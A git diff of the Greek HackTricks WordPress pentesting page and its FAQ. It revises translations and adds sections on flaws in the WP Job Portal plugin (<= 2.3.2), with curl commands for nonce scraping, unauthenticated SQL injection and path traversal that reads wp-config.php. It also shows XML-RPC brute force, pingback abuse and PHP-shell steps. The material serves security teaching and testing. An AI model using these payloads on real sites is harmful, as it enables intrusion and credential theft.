diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 912a53c61..cf194be8a 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -9,7 +9,7 @@ - **Μια άλλη χρήσιμη διεύθυνση θα μπορούσε να είναι:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- Στο **wp-config.php** μπορείτε να βρείτε τον κωδικό πρόσβασης root της βάσης δεδομένων. +- Στο **wp-config.php** μπορείτε να βρείτε τον κωδικό πρόσβασης της βάσης δεδομένων. - Προεπιλεγμένες διαδρομές σύνδεσης για έλεγχο: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **Main WordPress Files** @@ -30,7 +30,7 @@ **Post exploitation** -- Το αρχείο `wp-config.php` περιέχει πληροφορίες που απαιτούνται από το WordPress για να συνδεθεί στη βάση δεδομένων, όπως το όνομα της βάσης δεδομένων, ο διακομιστής της βάσης δεδομένων, το όνομα χρήστη και ο κωδικός πρόσβασης, τα κλειδιά και οι αλάτες αυθεντικοποίησης, και το πρόθεμα του πίνακα της βάσης δεδομένων. Αυτό το αρχείο ρύθμισης μπορεί επίσης να χρησιμοποιηθεί για την ενεργοποίηση της λειτουργίας DEBUG, η οποία μπορεί να είναι χρήσιμη στην αποσφαλμάτωση. +- Το αρχείο `wp-config.php` περιέχει πληροφορίες που απαιτούνται από το WordPress για να συνδεθεί στη βάση δεδομένων, όπως το όνομα της βάσης δεδομένων, τον οικοδεσπότη της βάσης δεδομένων, το όνομα χρήστη και τον κωδικό πρόσβασης, τα κλειδιά και τα άλατα αυθεντικοποίησης, και το πρόθεμα του πίνακα της βάσης δεδομένων. Αυτό το αρχείο ρύθμισης μπορεί επίσης να χρησιμοποιηθεί για να ενεργοποιήσει τη λειτουργία DEBUG, η οποία μπορεί να είναι χρήσιμη στην αποσφαλμάτωση. ### Users Permissions @@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress' ![](<../../images/image (524).png>) -### Λάβετε Πρόσθετα +### Λάβετε Plugins ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` @@ -85,7 +85,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### Χρήστες -- **ID Brute:** Λαμβάνετε έγκυρους χρήστες από έναν ιστότοπο WordPress εκτελώντας Brute Force στους αναγνωριστικούς χρήστες: +- **ID Brute:** Αποκτάτε έγκυρους χρήστες από έναν ιστότοπο WordPress εκτελώντας Brute Force στους αναγνωριστικούς χρήστες: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` @@ -122,7 +122,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **Bruteforce Διαπιστευτήρια** -**`wp.getUserBlogs`**, **`wp.getCategories`** ή **`metaWeblog.getUsersBlogs`** είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για να κάνετε bruteforce διαπιστευτήρια. Αν μπορέσετε να βρείτε οποιαδήποτε από αυτές, μπορείτε να στείλετε κάτι σαν: +**`wp.getUserBlogs`**, **`wp.getCategories`** ή **`metaWeblog.getUsersBlogs`** είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για να γίνει bruteforce διαπιστευτηρίων. Αν μπορέσετε να βρείτε οποιαδήποτε από αυτές, μπορείτε να στείλετε κάτι σαν: ```html wp.getUsersBlogs @@ -134,7 +134,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` Το μήνυμα _"Λάθος όνομα χρήστη ή κωδικός"_ μέσα σε μια απάντηση κωδικού 200 θα πρέπει να εμφανίζεται αν τα διαπιστευτήρια δεν είναι έγκυρα. -![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) +![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) @@ -179,7 +179,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **DDoS ή σάρωση θυρών** Αν μπορείτε να βρείτε τη μέθοδο _**pingback.ping**_ μέσα στη λίστα, μπορείτε να κάνετε το Wordpress να στείλει μια αυθαίρετη αίτηση σε οποιονδήποτε host/port.\ -Αυτό μπορεί να χρησιμοποιηθεί για να ζητήσετε **χιλιάδες** Wordpress **ιστότοπους** να **προσεγγίσουν** μία **τοποθεσία** (έτσι προκαλείται ένα **DDoS** σε αυτή την τοποθεσία) ή μπορείτε να το χρησιμοποιήσετε για να κάνετε το **Wordpress** να **σκανάρει** κάποιο εσωτερικό **δίκτυο** (μπορείτε να υποδείξετε οποιαδήποτε θύρα). +Αυτό μπορεί να χρησιμοποιηθεί για να ζητήσετε **χιλιάδες** ιστότοπους **Wordpress** να **προσεγγίσουν** μία **τοποθεσία** (έτσι προκαλείται ένα **DDoS** σε αυτή την τοποθεσία) ή μπορείτε να το χρησιμοποιήσετε για να κάνετε το **Wordpress** να **σκανάρει** κάποιο εσωτερικό **δίκτυο** (μπορείτε να υποδείξετε οποιαδήποτε θύρα). ```html pingback.ping @@ -210,7 +210,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ### wp-cron.php DoS Αυτό το αρχείο συνήθως υπάρχει κάτω από τη ρίζα της ιστοσελίδας Wordpress: **`/wp-cron.php`**\ -Όταν αυτό το αρχείο είναι **προσβάσιμο**, εκτελείται ένα "**βαρύ**" MySQL **ερώτημα**, οπότε θα μπορούσε να χρησιμοποιηθεί από **επιτιθέμενους** για να **προκαλέσει** μια **DoS**.\ +Όταν αυτό το αρχείο είναι **προσιτό**, εκτελείται ένα "**βαρύ**" MySQL **ερώτημα**, οπότε θα μπορούσε να χρησιμοποιηθεί από **επιτιθέμενους** για να **προκαλέσει** μια **DoS**.\ Επίσης, από προεπιλογή, το `wp-cron.php` καλείται σε κάθε φόρτωση σελίδας (κάθε φορά που ένας πελάτης ζητά οποιαδήποτε σελίδα Wordpress), το οποίο σε ιστοσελίδες με υψηλή επισκεψιμότητα μπορεί να προκαλέσει προβλήματα (DoS). Συνιστάται να απενεργοποιήσετε το Wp-Cron και να δημιουργήσετε μια πραγματική cronjob μέσα στον διακομιστή που εκτελεί τις απαραίτητες ενέργειες σε τακτά χρονικά διαστήματα (χωρίς να προκαλεί προβλήματα). @@ -229,7 +229,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -Αυτό το εργαλείο ελέγχει αν η **methodName: pingback.ping** και για τη διαδρομή **/wp-json/oembed/1.0/proxy** και αν υπάρχει, προσπαθεί να τις εκμεταλλευτεί. +Αυτό το εργαλείο ελέγχει αν το **methodName: pingback.ping** και για τη διαδρομή **/wp-json/oembed/1.0/proxy** και αν υπάρχει, προσπαθεί να τα εκμεταλλευτεί. ## Automatic Tools ```bash @@ -248,7 +248,7 @@ return new WP_Error( **Τροποποίηση ενός php από το θέμα που χρησιμοποιείται (απαιτούνται διαπιστευτήρια διαχειριστή)** -Εμφάνιση → Επεξεργαστής Θέματος → Πρότυπο 404 (στα δεξιά) +Εμφάνιση → Επεξεργαστής Θέματος → 404 Πρότυπο (στα δεξιά) Αλλάξτε το περιεχόμενο για ένα php shell: @@ -289,7 +289,7 @@ to get a session. ![](<../../images/image (462).png>) -Αποκτήστε πρόσβαση σε αυτό και θα δείτε το URL για να εκτελέσετε το reverse shell: +Αποκτήστε πρόσβαση σε αυτό και θα δείτε τη διεύθυνση URL για να εκτελέσετε το reverse shell: ![](<../../images/image (1006).png>) @@ -313,7 +313,7 @@ to get a session. ## From XSS to RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ είναι ένα script σχεδιασμένο να κλιμακώνει μια **Cross-Site Scripting (XSS)** ευπάθεια σε **Remote Code Execution (RCE)** ή άλλες κρίσιμες ευπάθειες στο WordPress. Για περισσότερες πληροφορίες ελέγξτε [**αυτή την ανάρτηση**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Παρέχει **υποστήριξη για τις εκδόσεις Wordpress 6.X.X, 5.X.X και 4.X.X και επιτρέπει να:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ είναι ένα script σχεδιασμένο να κλιμακώνει μια **Cross-Site Scripting (XSS)** ευπάθεια σε **Remote Code Execution (RCE)** ή άλλες κρίσιμες ευπάθειες στο WordPress. Για περισσότερες πληροφορίες ελέγξτε [**αυτή την ανάρτηση**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Παρέχει **υποστήριξη για τις εκδόσεις Wordpress 6.X.X, 5.X.X και 4.X.X και επιτρέπει:** - _**Privilege Escalation:**_ Δημιουργεί έναν χρήστη στο WordPress. - _**(RCE) Custom Plugin (backdoor) Upload:**_ Μεταφορτώστε το προσαρμοσμένο plugin (backdoor) σας στο WordPress. - _**(RCE) Built-In Plugin Edit:**_ Επεξεργαστείτε ένα ενσωματωμένο plugin στο WordPress. @@ -338,7 +338,7 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE - **`wp_ajax`** -Ένας από τους τρόπους με τους οποίους ένα plugin μπορεί να εκθέσει συναρτήσεις στους χρήστες είναι μέσω των AJAX handlers. Αυτά μπορεί να περιέχουν σφάλματα λογικής, εξουσιοδότησης ή ταυτοποίησης. Επιπλέον, είναι συχνό το φαινόμενο αυτές οι συναρτήσεις να βασίζονται τόσο στην ταυτοποίηση όσο και στην εξουσιοδότηση στην ύπαρξη ενός wordpress nonce το οποίο **οποιοσδήποτε χρήστης που έχει ταυτοποιηθεί στην εγκατάσταση του Wordpress μπορεί να έχει** (ανεξάρτητα από τον ρόλο του). +Ένας από τους τρόπους με τους οποίους ένα plugin μπορεί να εκθέσει συναρτήσεις στους χρήστες είναι μέσω των AJAX handlers. Αυτά μπορεί να περιέχουν σφάλματα λογικής, εξουσιοδότησης ή ταυτοποίησης. Επιπλέον, είναι συχνό το φαινόμενο ότι αυτές οι συναρτήσεις θα βασίζονται τόσο στην ταυτοποίηση όσο και στην εξουσιοδότηση στην ύπαρξη ενός wordpress nonce το οποίο **οποιοσδήποτε χρήστης που έχει ταυτοποιηθεί στην εγκατάσταση του Wordpress μπορεί να έχει** (ανεξάρτητα από τον ρόλο του). Αυτές είναι οι συναρτήσεις που μπορούν να χρησιμοποιηθούν για να εκθέσουν μια λειτουργία σε ένα plugin: ```php @@ -352,7 +352,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); - **REST API** -Είναι επίσης δυνατό να εκθέσετε συναρτήσεις από το wordpress καταχωρώντας ένα rest AP χρησιμοποιώντας τη συνάρτηση `register_rest_route`: +Είναι επίσης δυνατό να εκθέσετε συναρτήσεις από το wordpress καταχωρώντας μια rest AP χρησιμοποιώντας τη συνάρτηση `register_rest_route`: ```php register_rest_route( $this->namespace, '/get/', array( @@ -417,8 +417,8 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \ #### Λίστα ελέγχου ανίχνευσης -* Οποιοδήποτε `add_action( 'wp_ajax_nopriv_...')` callback που καλεί βοηθούς συστήματος αρχείων (`copy()`, `unlink()`, `$wp_filesystem->delete()`, κ.λπ.). -* Συγκόλληση μη απολυμασμένων εισροών χρηστών σε διαδρομές (αναζητήστε `$_POST`, `$_GET`, `$_REQUEST`). +* Οποιοδήποτε `add_action( 'wp_ajax_nopriv_...')` callback που καλεί βοηθητικά προγράμματα συστήματος αρχείων (`copy()`, `unlink()`, `$wp_filesystem->delete()`, κ.λπ.). +* Συγκόλληση μη απολυμασμένων εισόδων χρηστών σε διαδρομές (αναζητήστε `$_POST`, `$_GET`, `$_REQUEST`). * Απουσία `check_ajax_referer()` και `current_user_can()`/`is_user_logged_in()`. #### Σκληραγώγηση @@ -472,8 +472,65 @@ add_filter( 'auto_update_theme', '__return_true' ); - **Περιορίστε τις προσπάθειες σύνδεσης** για να αποτρέψετε επιθέσεις Brute Force - Μετονομάστε το αρχείο **`wp-admin.php`** και επιτρέψτε πρόσβαση μόνο εσωτερικά ή από συγκεκριμένες διευθύνσεις IP. +### Μη αυθεντική SQL Injection μέσω ανεπαρκούς επικύρωσης (WP Job Portal <= 2.3.2) + +Το πρόσθετο WP Job Portal αποκάλυψε μια εργασία **savecategory** που τελικά εκτελεί τον ακόλουθο ευάλωτο κώδικα μέσα στο `modules/category/model.php::validateFormData()`: +```php +$category = WPJOBPORTALrequest::getVar('parentid'); +$inquery = ' '; +if ($category) { +$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ +} +$query = "SELECT max(ordering)+1 AS maxordering FROM " +. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later +``` +Issues introduced by this snippet: + +1. **Μη απολυμάνθηκε είσοδος χρήστη** – `parentid` προέρχεται απευθείας από το HTTP αίτημα. +2. **Συγκέντρωση συμβολοσειρών μέσα στη ρήτρα WHERE** – δεν υπάρχει `is_numeric()` / `esc_sql()` / προετοιμασμένη δήλωση. +3. **Μη αυθεντικοποιημένη προσβασιμότητα** – αν και η ενέργεια εκτελείται μέσω `admin-post.php`, ο μόνος έλεγχος που υπάρχει είναι ένα **CSRF nonce** (`wp_verify_nonce()`), το οποίο οποιοσδήποτε επισκέπτης μπορεί να ανακτήσει από μια δημόσια σελίδα που ενσωματώνει το shortcode `[wpjobportal_my_resumes]`. + +#### Εκμετάλλευση + +1. Πάρτε ένα νέο nonce: +```bash +curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 +``` +2. Εισάγετε αυθαίρετο SQL εκμεταλλευόμενοι το `parentid`: +```bash +curl -X POST https://victim.com/wp-admin/admin-post.php \ +-d 'task=savecategory' \ +-d '_wpnonce=' \ +-d 'parentid=0 OR 1=1-- -' \ +-d 'cat_title=pwn' -d 'id=' +``` +Η απάντηση αποκαλύπτει το αποτέλεσμα του εισαχθέντος ερωτήματος ή τροποποιεί τη βάση δεδομένων, αποδεικνύοντας SQLi. + + +### Μη αυθεντικοποιημένη αυθαίρετη λήψη αρχείου / Διαδρομή Traversal (WP Job Portal <= 2.3.2) + +Μια άλλη εργασία, **downloadcustomfile**, επέτρεπε στους επισκέπτες να κατεβάσουν **οποιοδήποτε αρχείο στο δίσκο** μέσω διαδρομής traversal. Η ευάλωτη πηγή βρίσκεται στο `modules/customfield/model.php::downloadCustomUploadedFile()`: +```php +$file = $path . '/' . $file_name; +... +echo $wp_filesystem->get_contents($file); // raw file output +``` +`$file_name` είναι ελεγχόμενο από τον επιτιθέμενο και συνδυάζεται **χωρίς απολύμανση**. Και πάλι, η μόνη πύλη είναι ένα **CSRF nonce** που μπορεί να ανακτηθεί από τη σελίδα βιογραφικού. + +#### Εκμετάλλευση +```bash +curl -G https://victim.com/wp-admin/admin-post.php \ +--data-urlencode 'task=downloadcustomfile' \ +--data-urlencode '_wpnonce=' \ +--data-urlencode 'upload_for=resume' \ +--data-urlencode 'entity_id=1' \ +--data-urlencode 'file_name=../../../wp-config.php' +``` +Ο διακομιστής απαντά με το περιεχόμενο του `wp-config.php`, διαρρέοντας διαπιστευτήρια DB και κλειδιά αυθεντικοποίησης. + ## Αναφορές - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) +- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index 03d5d7924..ba4fb2296 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -48,7 +48,7 @@ > [!TIP] > -> - **Πώς μπορώ να παραθέσω μια σελίδα του HackTricks;** +> - **Πώς μπορώ να μια σελίδα του HackTricks;** Αρκεί να εμφανίζεται ο σύνδεσμος **της** σελίδας(ων) από όπου πήρατε τις πληροφορίες.\ Αν χρειάζεστε ένα bibtex μπορείτε να χρησιμοποιήσετε κάτι σαν: @@ -102,7 +102,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, > > - **Τι πρέπει να κάνω αν βρω περιεχόμενο που έχει αντιγραφεί και επικολληθεί στα HackTricks;** -Πάντα **δίνουμε στους αρχικούς συγγραφείς όλα τα εύσημα**. Αν βρείτε μια σελίδα με περιεχόμενο που έχει αντιγραφεί και επικολληθεί χωρίς αναφορά στην αρχική πηγή, ενημερώστε μας και θα **το αφαιρέσουμε**, **θα προσθέσουμε το σύνδεσμο πριν από το κείμενο**, ή **θα το ξαναγράψουμε προσθέτοντας το σύνδεσμο**. +Πάντα **δίνουμε στους αρχικούς συγγραφείς όλα τα εύσημα**. Αν βρείτε μια σελίδα με περιεχόμενο που έχει αντιγραφεί και επικολληθεί χωρίς αναφορά στην αρχική πηγή, ενημερώστε μας και θα **το αφαιρέσουμε**, **θα προσθέσουμε τον σύνδεσμο πριν από το κείμενο**, ή **θα το ξαναγράψουμε προσθέτοντας τον σύνδεσμο**. ## LICENSE